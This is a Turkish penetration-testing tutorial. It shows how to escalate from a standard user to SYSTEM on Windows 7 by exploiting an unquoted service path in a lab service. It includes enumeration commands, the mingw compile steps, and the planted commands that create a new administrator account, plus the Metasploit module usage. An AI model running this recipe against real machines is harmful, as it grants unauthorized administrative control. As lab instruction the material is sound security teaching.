WinCheck Betiği Kullanılarak Tespit Edilen Yanlış Yapılandırılmış Servis Zafiyetinin İstismar Edilerek Windows İşletim Sisteminde Yetki Yükseltilmesi

0
107
views

 

Windows sızma testleri sırasında yapılandırma ayarlarının güvenilir bir şekilde gerçekleştirilmemesi ve gerekli yamaların geçilmemesinden dolayı hak yükseltme saldırıları gerçekleştirilebilir. Bu yazıda, standart kullanıcı yetkileri ile erişilen Windows 7 işletim sisteminde WinCheck.bat betiği ile tespit edilen çalıştıracağı dosya yolu hatalı yapılandırılmış bir servis kötüye kullanılarak  servisi çalıştıran kullanıcı (SYSTEM) yetkisi ile komut çalıştırılacaktır.

 

Windows 7 sanal makinesine standart yetkilere sahip “YetkisizHesap” kullanıcısı ile erişim sağlandığı varsayılmaktadır.

net user YetkisizHesap
net localgroup Administrators

 

 

1) WinCheck Betiği ile Hak Yükseltme Zafiyetlerinin Keşfi

Hak yükseltme zafiyetlerinin tespiti için Github üzerinden WinCheck.bat betiği kullanılabilir.

https://github.com/rewardone/OSCPRepo/blob/master/Local%20Info%20Enum/Windows/WinCheck.bat

 

Betik indirilip çalıştırıldığında işletim sistemine ait bir çok bilgi toplanmakta ve muhtemel zafiyetler listelenmektedir.

WinCheck.bat

 

Gerçekleştirilen kontrol maddeleri aşağıdaki gibi sıralanabilir.

Hostname
Username
OS Verion
Installed Software
Available Users
Network Config
Route Config
ARP Cache
Network Connections
Firewall Settings
Running Services
Local PrivEsc Exploits

MS11-080
MS16-032
MS11-011
MS10-059
MS10-021
MS10-092
MS10-073
MS17-017
MS10-015
MS08-025
MS06-049
MS06-030
MS05-055
MS05-018
MS04-019
MS04-011
MS04-020
MS14-040
MS16-016
MS15-051
MS14-070
MS11-046

File Transfer Utilities
Clear-text/base64 Passwords
Backup Files
*.MSI Install – SYSTEM privilege
Unquoted Service Paths
Vulnerable Services
Vulnerable Folder Permissions
Vulnerable File Permissions

Keşfedilen zafiyetler içerisinde servis yolunun güvenilir olarak yapılandırılmamış bir servisteki hak yükseltme zafiyeti de bulunmaktadır.

 

Benzer zafiyeti tespit edebilmek için aşağıdaki komut da kullanılabilir.

wmic service get name,displayname,pathname,startmode | findstr /i “auto” | findstr /i /v “C:\Windows\\” | findstr /i /v “””

 

 

2) Zafiyetin Detayı

Windows işletim sisteminde servislerin çalıştıracağı uygulamalar PathName ile belirtilir.

wmic service get Name,PathName

 

Servis başlayıp uygulama tetiklendiğinde, “CreateProcess” fonksiyonunun “lpApplicationName” parametresine bu değer (uygulama yolu) atanır. Servisin çalıştıracağı uygulamanın komut satırı parametresi varsa da “CreateProcess” fonksiyonunun “lpCommandLine” parametresine atanır. Detaylar için kaynaklardaki Microsoft Documents yazısı incelenebilir.

Bir uygulama komut satırından çalıştırıldığında tırnak işaretleri kullanılmamışsa, ilk boşluk karakterine kadar olan kısım uygulama adını, sonraki ifadeler ise komut satırı parametrelerini belirtir. Yani aşağıdaki ilk ifadede “C:\Program” uygulama adı; sonraki “Files\Internet” ve “Explorer\iexplore.exe” ifadeler ise parametreleri belirtir.

C:\Program Files\Internet Explorer\iexplore.exe
“C:\Program Files\Internet Explorer\iexplore.exe”

 

Windows işletim sisteminde bir servisin çalıştırdığı uygulama yolunda çift tırnak işareti (“) kullanılıyorsa, ilgili servis belirtilen uygulamayı başlatır.

sc qc VMTools

 

Eğer çift tırnak (“) işareti yoksa servisin çalıştırdığı uygulama yolu bulunmaya çalışılır. Örneğin eğitim amaçlı hazırlanan “EgitimServis” adlı servisin çalıştırdığı uygulama yolunda tırnak işareti kullanılmadığı için uygulamanın yolu işletim sistemi tarafından yorumlanmaya çalışılır.

sc qc EgitimServis

 

“EgitimServis” adlı servisin çalıştırmak istediği uygulamanın yolu sırası ile aşağıdaki 4 şekilde aranır ve sonraki ifadeler de parametre olarak kullanılır.

C:\Program.exe
C:\Program Files (x86)\Uygulama.exe
C:\Program Files (x86)\Uygulama Dizini\Zafiyetli.exe
C:\Program Files (x86)\Uygulama Dizini\Zafiyetli Uygulamalara Ait Dizin\servis.exe

 

Eğer bu uygulamalardan birisi bulunamazsa, son olarak aşağıdaki uygulama çalıştırılır.

C:\Program Files (x86)\Uygulama Dizini\Zafiyetli Uygulamalara Ait Dizin\servis calistir.exe

 

Eğer aşağıdaki 4 dizinden birisi yetkisiz bir kullanıcı tarafından yazılabilir ise zafiyet oluşur. Bu gibi bir durumda, servisin çalıştıracağı asıl uygulama dosyası (servis calistir.exe) yerine aşağıdaki dizinlerde oluşturulabilecek olan (sırası ile) Program.exe, Uygulama.exe, Zafiyetli.exe ve servis.exe dosyaları çalıştırılabilir.

C:\
C:\Program Files (x86)\
C:\Program Files (x86)\Uygulama Dizini\
C:\Program Files (x86)\Uygulama Dizini\Zafiyetli Uygulamalara Ait Dizin\

 

 

3) Zafiyetin Manuel Olarak İstismarı

Sysinternals accesschk.exe aracı ile dizinlerin erişim kontrolü gerçekleştirilebilir.

https://live.sysinternals.com/accesschk.exe

 

Not: Eski sistemlere ait Accesschk uygulamalarının kullanımına da ihtiyaç olabilir. Bu gibi bir durumda archive.org kaynağı da kullanılabilir.

https://web.archive.org/web/20080530012252/http://live.sysinternals.com/accesschk.exe

 

Standart kullanıcılar ile yazılabilecek dizinler incelendiğinde “Uygulama Dizini” ve içerisindeki “Zafiyetli Uygulamalara Ait Dizin” adlı dizini tespit edilebilir.

accesschk.exe -udws -nobanner Users “C:\Program Files (x86)\”

 

Yani aşağıdaki iki dizinin içerisine sırası ile “Zafiyetli.exe” ve “servis.exe” oluşturulabilir.

C:\Program Files (x86)\Uygulama Dizini\
C:\Program Files (x86)\Uygulama Dizini\Zafiyetli Uygulamalara Ait Dizin\

 

Belirtilen dizinlerde çalışacak olan uygulama içeriği için aşağıdaki komutlar bir dosyaya yazılacak şekilde, adı “Zafiyet.exe” olarak kaydedilebilir.

net user YeniKullanici Yy1234567890! /add
net localgroup Administrators YeniKullanici /add

 

 

Oluşturulan dosya Windows 7 makineye atılıp, “C:\Program Files (x86)\Uygulama Dizini\” dizinine konulabilir.

 

“EgitimServis” adlı servisi yeniden başlatıldığında Zafiyetli.exe uygulamasının çalışamadığı ve “YeniKullanici” adlı hesabın da oluşmadığı görülmektedir. Bunun sebebi, mimari uyuşmazlığıdır.

net user
net stop EgitimServis
net start EgitimServis
net user

 

Alınan hata aşağıdaki gibidir.

This version of *** is not compatible with the version of Windows you’re running. Check your computer’s system information to see whether you need a x86 (32-bit) or x64 (64-bit) version of the program, and then contact the software publisher.

 

Aynı işlemi yapabilecek şekilde aşağıdaki C dosyası oluşturulup derlenebilir.

 

64 bitlik Windows 7 platformunda çalışabilecek yeni bir uygulama oluşturmak için, Kali Linux üzerine “mingw-w64” paketi kurulabilir.

apt-get install mingw-w64

 

Daha sonra oluşturulan C dosyası farklı yöntemler ile derlenebilir.

i686-w64-mingw32-gcc HakYukselt.c -o Zafiyetli_32.exe
file Zafiyetli_32.exe
i686-w64-mingw32-gcc HakYukselt.c -lws2_32 -o Zafiyetli_32_lws.exe
file Zafiyetli_32_lws2.exe
x86_64-w64-mingw32-gcc HakYukselt.c -o Zafiyetli_64.exe
file Zafiyetli_64.exe

 

Bu dosyalardan birisi (tercihen Zafiyetli_64.exe) adı “Zafiyetli.exe” yapılarak aynı dizine (“C:\Program Files (x86)\Uygulama Dizini\”) atılarak servis başlatılmaya çalışıldığında uygulamanın çalıştığı görülür.

net user
net start EgitimServis
net user
net user YeniKullanici

 

Not: Windows ortamında bir servisin ayağa kalkması için Service Control Manager ile belli bir süre (30 saniye gibi) iletişime geçmesi gereklidir. Servis başlatıldığında alınan “The service is not responding to the control function.” hatasının sebebi de, Microsoft Windows Service Control Manager tarafından gönderilen “SERVICE_CONTROL_START“, “SERVICE_CONTROL_INTERROGATE” gibi komutlara cevap verilememesi veya geç cevap verilmesi olabilmektedir.

 

4) Zafiyetin MSF trusted_service_path İstismar Modülü İle İstismarı

EgitimServis adlı servisin yapılandırmasında zafiyetin istismarı için MSF trusted_service_path istismar sonrası modülü de kullanılabilir. Mevcut ortamda yetkisiz bir kullanıcı ile Meterpreter oturumu elde edilmiş olsun.

sessions
use exploit/windows/local/trusted_service_path
show options

 

Modül çalıştırıldığında zafiyet olmasına rağmen hata mesajı alınmaktadır.

set SESSION 1
exploit

 

Bunun sebebi sadece ilk dizine dosya atılmasının denenmesi ve bu dizinde yazma yetkisi yoksa hata mesajının fırlatılmasıdır.

https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/local/trusted_service_path.rb

 

 

Kaynaklar:

https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-createprocessa
https://www.exploit-db.com/docs/turkish/39732-[turkish]-privilege-escalation-vectors-on-windows-systems.pdf
Unquoted Service Paths
https://toshellandback.com/2015/11/24/ms-priv-esc/
https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-windows-services-all-roads-lead-to-system-whitepaper.pdf

 

 

 

 

 

CEVAP VER

Yorumunuzu giriniz
İsminizi giriniz